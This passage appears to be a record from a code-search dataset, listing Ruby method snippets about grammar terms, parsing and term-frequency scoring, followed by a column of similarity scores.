DIV, TOKENS_FOLLOWING_DIV_IN_term_589 )\n # --> action\n agc_3(['*','/'])\n # <-- action\n # --> action\n agc_2('/')\n # <-- action\n\n end\n\n # at line 54:94: ( factor )\n # at line 54:95: factor\n @state.following.push( TOKENS_FOLLOWING_factor_IN_term_596 )\n factor\n @state.following.pop\n # --> action\n agc_3(['*','/'])\n # <-- action\n\n\n else\n break # out of loop for decision 18\n end\n end # loop for decision 18\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 14 )\n\n end\n \n return \n end", "def term\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 21 )\n return_value = TermReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n begin\n # at line 137:10: LOALPHA ( LOALPHA | DIGIT | '-' | '_' )*\n match(LOALPHA, TOKENS_FOLLOWING_LOALPHA_IN_term_876)\n # at line 137:18: ( LOALPHA | DIGIT | '-' | '_' )*\n while true # decision 33\n alt_33 = 2\n look_33_0 = @input.peek(1)\n\n if (look_33_0 == LOALPHA || look_33_0 == DIGIT || look_33_0 == T__30 || look_33_0 == T__39)\n alt_33 = 1\n\n end\n case alt_33\n when 1\n # at line\n if @input.peek(1) == LOALPHA || @input.peek(1) == DIGIT || @input.peek(1) == T__30 || @input.peek(1) == T__39\n @input.consume\n @state.error_recovery = false\n else\n mse = MismatchedSet(nil)\n raise mse\n end\n\n\n else\n break # out of loop for decision 33\n end\n end # loop for decision 33\n # - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look(-1)\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 21 )\n\n end\n\n return return_value\n end", "def addTerm(coeff, constr); end", "def handle_naive_term(term, file, line, col)\n # First check to see if it's a number\n value = number? term\n return Token.new value, file, line, col if value\n # Ok, so it must be a symbol, a keyword, a literal or an identifier.\n if @literals.has_key?(s=term.to_sym) # special keyword\n T(file, line, col, @literals[s])\n elsif term[0] == \":\" # Symbol\n error file, line, col, \": is not a valid symbol\", term.size == 1\n A(file, line, col, :quote, term[1..-1].to_sym)\n elsif term[-1] == \":\" # Keyword\n A(file, line, col, :keyword, term.to_sym)\n else # identifier\n T(file, line, col, term.to_sym)\n end\n end", "def word; end", "def word; end", "def word; end", "def word; end", "def word; end", "def p_term(resource, position)\n #log_debug(\"p_term\") {\"#{resource.to_sxp}, #{position}\"}\n l = if resource.is_a?(RDF::Query::Variable)\n \"?#{resource.name}\"\n elsif resource == RDF.nil\n \"()\"\n else\n format_term(resource, **options)\n end\n @output.write(l)\n end", "def term=(value)\n self.content << (value.is_a?(XTF::Search::Element::Term) ? value : XTF::Search::Element::Term.new(value))\n end", "def term\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 25 )\n __MULTIPLICATIONDIVISIONOPERATORS12__ = nil\n\n begin\n # at line 751:5: factor ( MULTIPLICATIONDIVISIONOPERATORS factor )*\n @state.following.push( TOKENS_FOLLOWING_factor_IN_term_1181 )\n factor\n @state.following.pop\n # at line 751:12: ( MULTIPLICATIONDIVISIONOPERATORS factor )*\n while true # decision 28\n alt_28 = 2\n look_28_0 = @input.peek( 1 )\n\n if ( look_28_0 == MULTIPLICATIONDIVISIONOPERATORS )\n alt_28 = 1\n\n end\n case alt_28\n when 1\n # at line 751:13: MULTIPLICATIONDIVISIONOPERATORS factor\n __MULTIPLICATIONDIVISIONOPERATORS12__ = match( MULTIPLICATIONDIVISIONOPERATORS, TOKENS_FOLLOWING_MULTIPLICATIONDIVISIONOPERATORS_IN_term_1184 )\n # --> action\n #Regla 3 GC\n \t\t @stack_operators.push(__MULTIPLICATIONDIVISIONOPERATORS12__.text)\n \t\t \n # <-- action\n @state.following.push( TOKENS_FOLLOWING_factor_IN_term_1211 )\n factor\n @state.following.pop\n # --> action\n #Regla 5 GC / VS\n \t\t if(@stack_operators.last == '*' or\n \t\t @stack_operators.last == '/' or\n \t\t @stack_operators.last == '&&') then\n \t\t operator = @stack_operators.pop\n \t\t operand_b = @stack_operands.pop\n \t\t operand_a = @stack_operands.pop\n \t\t result = get_avail\n \t\t generate(operator, operand_a, operand_b, result)\n \t\t free_avail(operand_a)\n \t\t free_avail(operand_b)\n free_avail_const(operand_a)\n free_avail_const(operand_b)\n \t\t @stack_operands.push(result)\n \t\t @stack_types.push(resulting_type(@stack_types.pop, @stack_types.pop, operator))\n \t\t end\n \t\t \n # <-- action\n\n else\n break # out of loop for decision 28\n end\n end # loop for decision 28\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 25 )\n\n end\n \n return \n end", "def to_term\n subject\n end", "def set_term\n @term = Term.find(params[:id])\n end", "def set_term\n @term = Term.find(params[:id])\n end", "def look_up(term)\n # First, let's convert our user input to lowercase.\n term = term.downcase\n # If the word doesn't exist in my hash, let the user know.\n if !@words[term] \n return \"Sorry, I don't have a definition for \\\"#{term}\\\"...\"\n # Otherwise, spit out my definition. \n else\n @words[term].definition\n end\n\n end", "def term\n children[0]\n end", "def term_frequency(document, term)\n tf = document.term_count(term)\n if @function == :bm25\n (tf * 2.2) / (tf + 0.3 + 0.9 * documents.size / @model.average_document_size)\n else\n sqrt(tf)\n end\n end", "def tfidf(term)\n term = to_term_record(term)\n tf(term) * term.idf\n end", "def term\r\n Riddle::Query.escape params[:term]\r\n end", "def term\r\n Riddle::Query.escape params[:term]\r\n end", "def terms\n @title = \"community terms\"\n end", "def term_param(name)\n term_params.select {|t| t.name == name}[0]\n end", "def set_term\n @term = Term.find(params[:id])\n end", "def term_frequency(document, term)\n tf = document.term_count(term)\n sqrt(tf)\n end", "def termref(name, role_name = nil, o = nil)\n if o && !@definitions[o]\n element(name, :class=>:object_type)\n else\n role_name ||= name\n element(role_name, {:href=>'#'+name, :class=>:object_type}, 'a')\n end\n end", "def word\n end", "def <<(term)\n raise \"No document defined\" unless defined? @document\n unless @terms.include? term\n @terms[term] = @terms.length\n end\n i = @terms[term]\n @index[@document] ||= 0\n @index[@document] |= 1 << i\n end", "def compileterm\n\n end", "def to_term\n ::HubEdos::StudentApi::V2::Term::Term.new(@data['toTerm']) if @data['toTerm']\n end", "def to_term\n ::HubEdos::StudentApi::V2::Term::Term.new(@data['toTerm']) if @data['toTerm']\n end", "def get_document_frequency(term)\n\t\t\t@term_hash[term]\n\t\tend", "def initialize(word,category,freq,typicality=nil)\n @word = word\n @category = category\n @frequency = freq\n @typicality = typicality\n end", "def terms\n [self]\n end", "def symbol()\n node = factor()\n\n if @look.kind.eql?(Token::STAR) then\n match(Token::STAR)\n node = Star.new(node)\n elsif @look.kind.eql?(Token::QUESTION) then\n match(Token::QUESTION)\n node = Question.new(node)\n end\n\n return node\n end", "def so_term(feature)\n if hash = @data[feature]\n return hash[\"so_term\"]\n end\n end", "def termref(name, role_name = nil)\n role_name ||= name\n element(role_name, {:href=>'#'+name, :class=>:term}, 'a')\n end", "def initialize(term, document_id)\n\t\tinverted_index_hash = Posting.inverted_index_hash[term]\n\n\t\t@term = term\n\t\t@document_id = document_id\n\t\t\n\t\t@tdf = inverted_index_hash[document_id.to_i].to_f\t\t\t\t# Terms Frequency in Document\n\t\t@dws = Document.number_of_words_in_document[document_id].to_f\t# Document word size. Number of Words in a Document\n\t\t@df = inverted_index_hash.size.to_f\t\t\t\t\t\t\t\t# Document Frequency of the Term\n\t\t@cws = Document.number_of_words_in_collection.to_f\t\t\t\t# Collection's words size (number of words in collection)\n\t\t@cds = Document.number_of_documents_in_collection.to_f\t\t\t# Collection's document size (number of docs in collection)\n\t\t@tcf = inverted_index_hash[\"size\"].to_f\t\t\t\t\t\t\t# Term Frequency in whole collection\n\t\t@avgdl = Document.average_number_of_words_per_document.to_f\t\t# Average Document Length (in no. of words)\n\n\n\n\t\tap \"#{@term} #{@cds} : #{@df}\"\n\n\t\t@idf = Math::log((@cds-@df+0.5)/(@df+0.5))\t\t\t\t\t\t# Inverted Document Frequency\n\t\t@du = Document.vocabulary_size_of_document[document_id].to_f\t# Unique words (vocabulary) of the document\n\n\t\t# ap \"a #{@tdf} ; b #{@d} ; c #{@cf} ; d #{@c} ; e #{@tcf} ; f #{@avgdl} ; g #{@idf}\"\n\n\t\tk1 = 2.5 ; k3 = 0 ; b = 0.8 ;\n\t\t@@bm25 = @idf*( ( @tdf * (k1+1))/(@tdf + k1*(1 - b + (b*(@dws/@avgdl))) ) ) * ( ((k3+1)*@tdf)/(k3+@tdf) )\n\n\t\tu = 2000\n\t\t@lmir_dir = (@tdf + u * ( @tcf / @cws)) / (@dws + u)\n\n\t\tl = 0.1\n\t\t@lmir_jm = ((1 - l) * (@tdf/@dws)) + (l)*(@tcf/@cws)\n\n\t\td = 0.7\n\t\t@lmir_abs = (( [@tdf - d, 0].max )/@dws ) + ((d*@du*@tdf)/(@dws*@cws))\n\n\tend", "def camelize(term); end", "def noun; end", "def noun; end", "def definition\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 2 )\n\n\n value = nil\n\n\n a = nil\n\n\n begin\n # at line 11:5: a= ( entity | component | system | enum | function_definition ) ( NL )?\n # at line 11:7: ( entity | component | system | enum | function_definition )\n alt_3 = 5\n case look_3 = @input.peek( 1 )\n when ENTITY then alt_3 = 1\n when COMPONENT then alt_3 = 2\n when SYSTEM then alt_3 = 3\n when ENUM then alt_3 = 4\n when OPEN then alt_3 = 5\n else\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n\n\n raise NoViableAlternative( \"\", 3, 0 )\n\n end\n case alt_3\n when 1\n # at line 11:9: entity\n @state.following.push( TOKENS_FOLLOWING_entity_IN_definition_61 )\n a = entity\n @state.following.pop\n\n when 2\n # at line 12:5: component\n @state.following.push( TOKENS_FOLLOWING_component_IN_definition_67 )\n component\n @state.following.pop\n\n when 3\n # at line 13:5: system\n @state.following.push( TOKENS_FOLLOWING_system_IN_definition_73 )\n system\n @state.following.pop\n\n when 4\n # at line 14:5: enum\n @state.following.push( TOKENS_FOLLOWING_enum_IN_definition_79 )\n enum\n @state.following.pop\n\n when 5\n # at line 15:5: function_definition\n @state.following.push( TOKENS_FOLLOWING_function_definition_IN_definition_85 )\n a = function_definition\n @state.following.pop\n\n end\n # at line 16:5: ( NL )?\n alt_4 = 2\n look_4_0 = @input.peek( 1 )\n\n if ( look_4_0 == NL )\n alt_4 = 1\n end\n case alt_4\n when 1\n # at line 16:5: NL\n match( NL, TOKENS_FOLLOWING_NL_IN_definition_91 )\n\n end\n\n # syntactic predicate action gate test\n if @state.backtracking == 0\n # --> action\n value = a \n # <-- action\n end\n\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 2 )\n\n\n end\n\n return value\n end", "def term(weight)\n weight >= 2 ? \"#{ weight } #{ @var }\" : @var\n end", "def category_term\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 3 )\n value = nil\n term10 = nil\n\n begin\n # at line 41:37: ( WS )? term\n # at line 41:37: ( WS )?\n alt_7 = 2\n look_7_0 = @input.peek( 1 )\n\n if ( look_7_0 == WS )\n alt_7 = 1\n end\n case alt_7\n when 1\n # at line 41:37: WS\n match( WS, TOKENS_FOLLOWING_WS_IN_category_term_128 )\n\n end\n @state.following.push( TOKENS_FOLLOWING_term_IN_category_term_131 )\n term10 = term\n @state.following.pop\n # --> action\n value = ( term10 && @input.to_s( term10.start, term10.stop ) ) \n # <-- action\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 3 )\n\n end\n \n return value\n end", "def to_ruby; Tree.of_term term_t end", "def term_required?( term )\n #puts \"=====> GenericWork.term_required? #{term}\"\n return true if [:author_email, :author_first_name, :author_last_name, :author_institution, :title, :creator, :contributor, :description, :publisher, :rights, :identifier, :department, :degree, :license].include? term\n false\n end", "def parse(subject, term)\n return term\n end", "def parse_term\n if consume(:func)\n expect(:lparen)\n params = parse_params\n expect(:rparen)\n body = parse_block\n return Node.new(:func, params: params, body: body)\n end\n\n if consume(:lparen)\n expression = parse_expression\n expect(:rparen)\n return expression\n end\n\n if consume(:dquote)\n token = expect(:string)\n expect(:dquote)\n return Node.new(:string, value: token.input)\n end\n\n if token = consume(:number)\n return Node.new(:number, value: token.input.to_i)\n end\n\n if token = consume(:true)\n return Node.new(:boolean, value: true)\n end\n\n if token = consume(:false)\n return Node.new(:boolean, value: false)\n end\n\n if token = consume(:ident)\n if consume(:lparen)\n args = parse_args\n expect(:rparen)\n return Node.new(:call, name: token.input, args: args)\n else\n return Node.new(:varref, name: token.input)\n end\n end\n end", "def from_term\n ::HubEdos::StudentApi::V2::Term::Term.new(@data['fromTerm']) if @data['fromTerm']\n end", "def from_term\n ::HubEdos::StudentApi::V2::Term::Term.new(@data['fromTerm']) if @data['fromTerm']\n end", "def rule(sing, plur, term: :noun)\n plural(sing, plur, term: term)\n singular(plur, sing, term: term)\n end", "def category_term\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 3 )\n value = nil\n term10 = nil\n\n begin\n # at line 68:37: ( WS )? term\n # at line 68:37: ( WS )?\n alt_7 = 2\n look_7_0 = @input.peek(1)\n\n if (look_7_0 == WS)\n alt_7 = 1\n end\n case alt_7\n when 1\n # at line 68:37: WS\n match(WS, TOKENS_FOLLOWING_WS_IN_category_term_131)\n\n end\n @state.following.push(TOKENS_FOLLOWING_term_IN_category_term_134)\n term10 = term\n @state.following.pop\n # --> action\n value = (term10 && @input.to_s(term10.start, term10.stop))\n # <-- action\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 3 )\n\n end\n\n return value\n end", "def for_term(query_term)\n SubstringRules.for(query_term)\n end", "def parse_term line\n parts = line.split(\" \")\n term = parts[0].downcase\n documents = {}\n parts.drop(2).each_slice(2) do |document, term_frequency|\n documents[document] = term_frequency.to_f\n end\n return term, documents\n end", "def hint(word)\n\t\tget_definition(word) \n\tend", "def terms_of_use\n end", "def property_for(term)\n if mapping.key?(term) && metadata.respond_to?(mapping[term])\n mapping[term]\n elsif metadata.respond_to?(term)\n term\n end\n end", "def payment_term; end", "def get_term(coefficient, term_nbr, degree)\r\n term = ''\r\n if coefficient.abs == 1 \r\n term << get_sign(coefficient)\r\n term.delete!('+') if term_nbr == 1 \r\n else\r\n term << get_sign(coefficient) << coefficient.abs.to_s\r\n term.delete!('+') if term_nbr == 1 \r\n end \r\n if degree == 1 # for x^1 the ^1 part gets omitted\r\n term << VAR\r\n elsif degree > 1 # x^0 == 1, so we don't need to display it\r\n term << \"#{VAR}^#{degree.to_s}\"\r\n end \r\n return term\r\n end", "def term(attributes = nil)\r\n body = { query: { term: attributes } }\r\n result = client.search index: index, type: type, body: body\r\n\r\n result_instance(result)\r\n end", "def term_params\n params.require(:term).permit(:name)\n end", "def parse_term\r\n parse_factor\r\n while(@cur_token.kind == :AND)\r\n accept_it\r\n if(@cur_token.kind == :NOT)\r\n accept_it\r\n end\r\n parse_factor\r\n end\r\n end", "def flip_sign_on_term term\n\treturn Term.new(term.line, term.col, magnitude: term.magnitude * -1, imaginary: term.imaginary, lit_var_list: term.literal_variables)\nend", "def initialize(children = [], properties = {})\n super(Term.ast_type, children, properties)\n end", "def create\n @term = Term.new(params[:term])\n\n respond_to do |format|\n if @term.save\n format.html { redirect_to(@term, :notice => 'Term was successfully created.') }\n format.xml { render :xml => @term, :status => :created, :location => @term }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @term.errors, :status => :unprocessable_entity }\n end\n end\n end", "def terms_conditions\r\n\t@title = \"Terms & Conditions\"\r\n end", "def name\n definition.name\n end", "def get_new_term(new_term, num_of_terms)\n\tif new_term % 2 == 0\n\t\tnew_term /= 2\n\t\tnum_of_terms += 1\n\telse\n\t\tnew_term = 3 * new_term + 1\n\t\tnum_of_terms += 1\t\t\n\tend\n\n\treturn new_term, num_of_terms\nend", "def term\n lfactor = factor\n loop do\n if accept(:T_TIMES)\n lfactor = Multiplication.new(lfactor, factor)\n elsif accept(:T_DIV)\n lfactor = Division.new(lfactor, factor)\n else\n break\n end\n end\n lfactor\n end", "def get_term(term)\n term = term.gsub(Regex::ESCAPE) { |x| \"#{Regex::ESCAPECHAR}#{x}\" }\n tmp = SearchType::SEARCH_START\n search_type = SearchType::SEARCH_START | SearchType::SEARCH_END\n\n term = \"#{Regex::WILDCARD}#{term}\" if (search_type | tmp) == search_type\n tmp = SearchType::SEARCH_END\n term += Regex::WILDCARD.to_s if (search_type | tmp) == search_type\n term\n end", "def definitions; end", "def definitions; end" ]
[ "0.8450216", "0.73270005", "0.7184933", "0.7184933", "0.7184933", "0.7182944", "0.71664697", "0.7082566", "0.6986552", "0.6804663", "0.6804663", "0.6802982", "0.6773592", "0.67692256", "0.67692256", "0.67692256", "0.67021185", "0.6594718", "0.65766084", "0.65515333", "0.6532612", "0.64606756", "0.64319414", "0.63532835", "0.6335746", "0.63209414", "0.629648", "0.6285086", "0.61544114", "0.6135209", "0.61086535", "0.610196", "0.6084747", "0.6084747", "0.6084747", "0.6084747", "0.6084747", "0.60606813", "0.6042843", "0.602626", "0.59799564", "0.5976193", "0.5976193", "0.5928924", "0.5925598", "0.5922979", "0.59070426", "0.5905637", "0.5905637", "0.5895648", "0.58954185", "0.589032", "0.5848598", "0.58284754", "0.582145", "0.5813097", "0.5805218", "0.5773106", "0.5773106", "0.5768876", "0.5750781", "0.5731241", "0.5727892", "0.57094514", "0.568883", "0.5672023", "0.5671051", "0.56637686", "0.56637686", "0.56548136", "0.56497586", "0.5649089", "0.56409675", "0.5629259", "0.56257194", "0.5598436", "0.55924654", "0.55924654", "0.55911547", "0.5590533", "0.55831015", "0.55600727", "0.55528224", "0.5549785", "0.55483276", "0.5544745", "0.5537384", "0.5516329", "0.55138177", "0.55089164", "0.55041355", "0.550263", "0.5496608", "0.5489524", "0.5488126", "0.5487658", "0.54737556", "0.5457319", "0.54467624", "0.54467624" ]
0.7654662
1
A reference to a defined term (excluding role adjectives)
def termref(name, role_name = nil) role_name ||= name element(role_name, {:href=>'#'+name, :class=>:term}, 'a') end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def term\n @term\n end", "def term\n Term.find(self.term_id)\n end", "def term\n self.name\n end", "def termref(name, role_name = nil, o = nil)\n if o && !@definitions[o]\n element(name, :class=>:object_type)\n else\n role_name ||= name\n element(role_name, {:href=>'#'+name, :class=>:object_type}, 'a')\n end\n end", "def termref(name, role_name = nil)\n role_name ||= name\n element(role_name, {:href=>'#'+name, :class=>:object_type}, 'a')\n end", "def termref(name, role_name = nil)\n role_name ||= name\n element(role_name, {:href=>'#'+name, :class=>:object_type}, 'a')\n end", "def term; end", "def term\n return unless lecture.present?\n lecture.term\n end", "def term_name\n self.content\n end", "def term(name)\n element(name, :class=>:term)\n end", "def termdef(name)\n element(name, {:name => name, :class=>:term}, 'a')\n end", "def to_term\n subject\n end", "def term\n eat_ws_and_comments\n if peek == \"'\" # quoted\n return quote_term\n elsif peek == \"`\" # quasiquote\n return quasi_term\n elsif peek == \",\"\n return unquote_term\n elsif str = string_term\n return str\n end\n # We begin by trying the various collections\n [:list_term, :array_term, :hash_term].each do |coll|\n coll = method coll\n value = coll.call\n return value unless value.nil?\n end\n # Then it must be a basic term\n naive_term\n end", "def term\n children[0]\n end", "def terms\n\n end", "def terms\n\n end", "def term(name)\n element(name, :class=>:object_type)\n end", "def term(name)\n element(name, :class=>:object_type)\n end", "def term(name)\n element(name, :class=>:object_type)\n end", "def to_term\n Upl::Term.new to_term_t\n end", "def terms\n end", "def find_term_references(doc, terms)\n logger.info(\"+ Finding references to terms\")\n\n i = 0\n\n # sort terms by the length of the defined term, desc,\n # so that we don't find short terms inside longer\n # terms\n terms = terms.to_a.sort_by { |pair| -pair[1].size }\n\n # look for each term\n for term_id, term in terms\n doc.xpath('//a:body//text()', a: NS).each do |text|\n # replace all occurrences in this text node\n\n # unless we're already inside a def or term element\n next if ([\"def\", \"term\"].include?(text.parent.name))\n\n # don't link to a term inside its own definition\n owner = find_up(text, 'subsection')\n next if owner and owner.at_xpath(\".//a:def[@refersTo='##{term_id}']\", a: NS)\n\n while posn = (text.content =~ /\\b#{Regexp::escape(term)}\\b/)\n # <p>A delegation under subsection (1) shall not prevent the <term refersTo=\"#term-Minister\" id=\"trm357\">Minister</term> from exercising the power himself or herself.</p>\n node = doc.create_element('term', term, refersTo: \"##{term_id}\", id: \"trm#{i}\")\n\n pre = (posn > 0) ? text.content[0..posn-1] : nil\n post = text.content[posn+term.length..-1]\n\n text.before(node)\n node.before(doc.create_text_node(pre)) if pre\n text.content = post\n\n i += 1\n end\n end\n end\n end", "def term!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 39 )\n\n type = TERM\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 174:8: 'term'\n match( \"term\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 39 )\n\n end", "def check_term(term_type, term) \n if !@term_authority[term_type]\n authorized_term = term\n elsif !@term_authority[term_type][term].nil?\n @term_authority[term_type][term] == \"REMOVE\" ? authorized_term = \"\" : authorized_term = @term_authority[term_type][term]\n else\n authorized_term = term\n end\n \n return authorized_term\n \n end", "def process_term(element, value, **options)\n if options[:vocab]\n # If there is a local default vocabulary, the IRI is obtained by concatenating that value and the term\n return uri(options[:vocab] + value)\n elsif options[:term_mappings].is_a?(Hash)\n # If the term is in the local term mappings, use the associated URI (case sensitive).\n return uri(options[:term_mappings][value.to_s.to_sym]) if options[:term_mappings].has_key?(value.to_s.to_sym)\n\n # Otherwise, check for case-insensitive match\n options[:term_mappings].each_pair do |term, uri|\n return uri(uri) if term.to_s.downcase == value.to_s.downcase\n end\n end\n\n # Finally, if there is no local default vocabulary, the term has no associated URI and must be ignored.\n add_warning(element, \"Term #{value} is not defined\", RDF::RDFA.UnresolvedTerm)\n nil\n end", "def terms\n\tend", "def termdef(name)\n element(name, {:name => name, :class => 'object_type'}, 'a')\n end", "def termdef(name)\n element(name, {:name => name, :class => 'object_type'}, 'a')\n end", "def termdef(name)\n element(name, {:name => name, :class => 'object_type'}, 'a')\n end", "def term(**mapping)\n render(TERM, **mapping)\n end", "def term\n one_of [\n method(:tag),\n method(:metatag),\n method(:wildcard),\n ]\n end", "def terms\n [self]\n end", "def term\r\n Riddle::Query.escape params[:term]\r\n end", "def term\r\n Riddle::Query.escape params[:term]\r\n end", "def find_glossary_term!\n @glossary_term = find_or_goto_index(GlossaryTerm,\n params[:id].to_s)\n end", "def from_term\n ::HubEdos::StudentApi::V2::Term::Term.new(@data['fromTerm']) if @data['fromTerm']\n end", "def from_term\n ::HubEdos::StudentApi::V2::Term::Term.new(@data['fromTerm']) if @data['fromTerm']\n end", "def mentor_term_for_mentor(mentor)\n mentor_term = mentor_terms.find_by_mentor_id(mentor.id) rescue nil\n mentor_term ||= deleted_mentor_terms.find_by_mentor_id(mentor.id) rescue nil\n return mentor_term\n end", "def termsig(*) end", "def set_neglected_term\n @neglected_term = NeglectedTerm.find(params[:id])\n end", "def current_term\n return Term.where(\"active = ?\", true).first\n end", "def terms\n @title = \"community terms\"\n end", "def set_term\n @term = Term.find(params[:id])\n end", "def so_term(feature)\n if hash = @data[feature]\n return hash[\"so_term\"]\n end\n end", "def set_term\n @term = Term.find(params[:id])\n end", "def set_term\n @term = Term.find(params[:id])\n end", "def searchterm\r\n @@st.get_searchterm(referer)\r\n end", "def to_term\n ::HubEdos::StudentApi::V2::Term::Term.new(@data['toTerm']) if @data['toTerm']\n end", "def to_term\n ::HubEdos::StudentApi::V2::Term::Term.new(@data['toTerm']) if @data['toTerm']\n end", "def terms\n raise NotImplementedError\n end", "def secondary_terms\n []\n end", "def for_term(query_term)\n SubstringRules.for(query_term)\n end", "def brief_terms\n [\n #:relation,\n :asset_type,\n :uid,\n :pref_label\n ]\n end", "def initialize term, leading_adjective = nil, trailing_adjective = nil, quantifier = nil, function_call = nil, role_name = nil, value_constraint = nil, literal = nil, nested_clauses = nil\n @term = term\n @leading_adjective = leading_adjective\n @trailing_adjective = trailing_adjective\n @quantifier = quantifier\n # @function_call = function_call # Not used or implemented\n @role_name = role_name\n @value_constraint = value_constraint\n @literal = literal\n @nested_clauses = nested_clauses\n end", "def terms_for_editing\n terms_for_display\n end", "def in_a_word\n WORDS[self]\n end", "def term\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 21 )\n return_value = TermReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n begin\n # at line 111:10: ( LOALPHA | reserved_words ) ( LOALPHA | DIGIT | DASH | UNDERSCORE | DOT | reserved_words )*\n # at line 111:10: ( LOALPHA | reserved_words )\n alt_32 = 2\n look_32_0 = @input.peek( 1 )\n\n if ( look_32_0 == LOALPHA )\n alt_32 = 1\n elsif ( look_32_0 == SCHEME || look_32_0.between?( CLASS, ACTIONS ) || look_32_0.between?( SELF, CATEGORY ) || look_32_0.between?( KIND, ACTION ) || look_32_0.between?( LINK, TERM ) )\n alt_32 = 2\n else\n raise NoViableAlternative( \"\", 32, 0 )\n end\n case alt_32\n when 1\n # at line 111:12: LOALPHA\n match( LOALPHA, TOKENS_FOLLOWING_LOALPHA_IN_term_923 )\n\n when 2\n # at line 111:22: reserved_words\n @state.following.push( TOKENS_FOLLOWING_reserved_words_IN_term_927 )\n reserved_words\n @state.following.pop\n\n end\n # at line 111:39: ( LOALPHA | DIGIT | DASH | UNDERSCORE | DOT | reserved_words )*\n while true # decision 33\n alt_33 = 7\n case look_33 = @input.peek( 1 )\n when LOALPHA then alt_33 = 1\n when DIGIT then alt_33 = 2\n when DASH then alt_33 = 3\n when UNDERSCORE then alt_33 = 4\n when DOT then alt_33 = 5\n when SCHEME, CLASS, TITLE, REL, LOCATION, ATTRIBUTES, ACTIONS, SELF, CATEGORY, KIND, MIXIN, ACTION, LINK, TERM then alt_33 = 6\n end\n case alt_33\n when 1\n # at line 111:41: LOALPHA\n match( LOALPHA, TOKENS_FOLLOWING_LOALPHA_IN_term_933 )\n\n when 2\n # at line 111:51: DIGIT\n match( DIGIT, TOKENS_FOLLOWING_DIGIT_IN_term_937 )\n\n when 3\n # at line 111:59: DASH\n match( DASH, TOKENS_FOLLOWING_DASH_IN_term_941 )\n\n when 4\n # at line 111:66: UNDERSCORE\n match( UNDERSCORE, TOKENS_FOLLOWING_UNDERSCORE_IN_term_945 )\n\n when 5\n # at line 111:79: DOT\n match( DOT, TOKENS_FOLLOWING_DOT_IN_term_949 )\n\n when 6\n # at line 111:85: reserved_words\n @state.following.push( TOKENS_FOLLOWING_reserved_words_IN_term_953 )\n reserved_words\n @state.following.pop\n\n else\n break # out of loop for decision 33\n end\n end # loop for decision 33\n # - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 21 )\n\n end\n \n return return_value\n end", "def secondary_terms\n []\n end", "def secondary_terms\n []\n end", "def secondary_terms\n []\n end", "def resolve(resource, position:)\n RDF::Literal(resource.to_s.downcase) if resource.term?\n end", "def resolve(resource, position:)\n RDF::Literal(resource.to_s.downcase) if resource.term?\n end", "def find_terms(doc)\n terms_match = @terms.select { |term| doc.join('').match(term.to_s) }\n\n terms_match.map do |term, definition|\n \"*[#{term}]: #{definition}\".delete(\"\\t\\r\\n\").squeeze(' ').strip\n end\nend", "def contract_term_name\n unless self.contract_term_id and self.contract_term\n return 'Unknown term'\n end\n return self.contract_term.name\n end", "def term_param(name)\n term_params.select {|t| t.name == name}[0]\n end", "def look_up(term)\n # First, let's convert our user input to lowercase.\n term = term.downcase\n # If the word doesn't exist in my hash, let the user know.\n if !@words[term] \n return \"Sorry, I don't have a definition for \\\"#{term}\\\"...\"\n # Otherwise, spit out my definition. \n else\n @words[term].definition\n end\n\n end", "def parse(subject, term)\n return term\n end", "def get_term(term)\n term = term.gsub(Regex::ESCAPE) { |x| \"#{Regex::ESCAPECHAR}#{x}\" }\n tmp = SearchType::SEARCH_START\n search_type = SearchType::SEARCH_START | SearchType::SEARCH_END\n\n term = \"#{Regex::WILDCARD}#{term}\" if (search_type | tmp) == search_type\n tmp = SearchType::SEARCH_END\n term += Regex::WILDCARD.to_s if (search_type | tmp) == search_type\n term\n end", "def term\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 21 )\n return_value = TermReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n begin\n # at line 137:10: LOALPHA ( LOALPHA | DIGIT | '-' | '_' )*\n match(LOALPHA, TOKENS_FOLLOWING_LOALPHA_IN_term_876)\n # at line 137:18: ( LOALPHA | DIGIT | '-' | '_' )*\n while true # decision 33\n alt_33 = 2\n look_33_0 = @input.peek(1)\n\n if (look_33_0 == LOALPHA || look_33_0 == DIGIT || look_33_0 == T__30 || look_33_0 == T__39)\n alt_33 = 1\n\n end\n case alt_33\n when 1\n # at line\n if @input.peek(1) == LOALPHA || @input.peek(1) == DIGIT || @input.peek(1) == T__30 || @input.peek(1) == T__39\n 